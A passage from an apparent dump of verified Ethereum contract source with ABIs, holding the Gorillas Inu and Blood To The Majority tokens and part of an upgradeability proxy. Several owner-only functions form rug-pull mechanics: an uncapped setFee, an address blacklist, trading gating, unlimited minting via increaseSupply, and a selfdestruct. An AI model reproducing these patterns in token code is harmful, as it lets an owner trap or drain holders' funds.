pe":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"pendingOwner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"inputs":[{"name":"operator","type":"address"}],"payable":false,"type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"receiver","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"releaseTime","type":"uint256"}],"name":"ReleaseSupply","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"unFrozenTime","type":"uint256"}],"name":"FreezeForOwner","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Unfreeze","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.15+commit.bbb8e64f | true | 200 | 0000000000000000000000007b331c01b08728d8d62e0392ffb8c35cb5736235 | Default | false | bzzr://468d338a932954642a54a5c4cc9b1503b7e6097e236ba187be254c6849de0cda |
|||
Gorillas | Gorillas.sol | 0x04324b7996da1111c0d20e7c2534f56401eb4a60 | Solidity | /*
*** Join the Gorillas via t.me/GorillasInu ***
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Gorillas is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Gorillas Inu";
string private constant _symbol = "Gorillas";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x45e1548fbAd78B6590B5843c621492deE4e9D4c0);
address payable private _marketingAddress = payable(0xb4a00d1B858612acA0731e9d5eB377dF845c0059);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.13+commit.abaa5c0e | true | 200 | Default | None | false | ipfs://75b452f23974040efb83c91a866861d3c0f7487ca1bfd4387ef113b5415d5056 |
|||
Token | Token.sol | 0xf9fbc51d95876ba150d16bcaa1f27cec5675b155 | Solidity | pragma solidity ^0.4.20;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0xda5525d212878d73bA9Fb8b9abcD6Cc88103B3be;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Token is ERC20Interface, Owned {
using SafeMath for uint;
string public name = "Blood To The Majority";
string public symbol = "BTTM";
uint8 public decimals = 18;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Blood To The Majority";
symbol = "BTTM";
decimals = 18;
_totalSupply = 21000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// Extra function
function totalSupplyWithZeroAddress() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// Extra function
function myBalance() public view returns (uint balance) {
return balances[msg.sender];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract Admin is Token {
// change symbol and name
function reconfig(string newName, string newSymbol) external onlyOwner {
symbol = newSymbol;
name = newName;
}
// increase supply and send newly added tokens to owner
function increaseSupply(uint256 increase) external onlyOwner {
_totalSupply = _totalSupply.add(increase);
balances[owner] = balances[owner].add(increase);
emit Transfer(address(0), owner, increase);
}
// deactivate the contract
function deactivate() external onlyOwner {
selfdestruct(owner);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupplyWithZeroAddress","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"myBalance","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://e4cb37f53a42572f247c3ddc137ebd83de2ae607db075899c69a10879d6176cc |
||||
AdminUpgradeabilityProxy | contracts/upgradeability/Proxy.sol | 0xe0211c8224e4ea5ffb1e3a1610e5a22f13075048 | Solidity | pragma solidity ^0.4.24;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
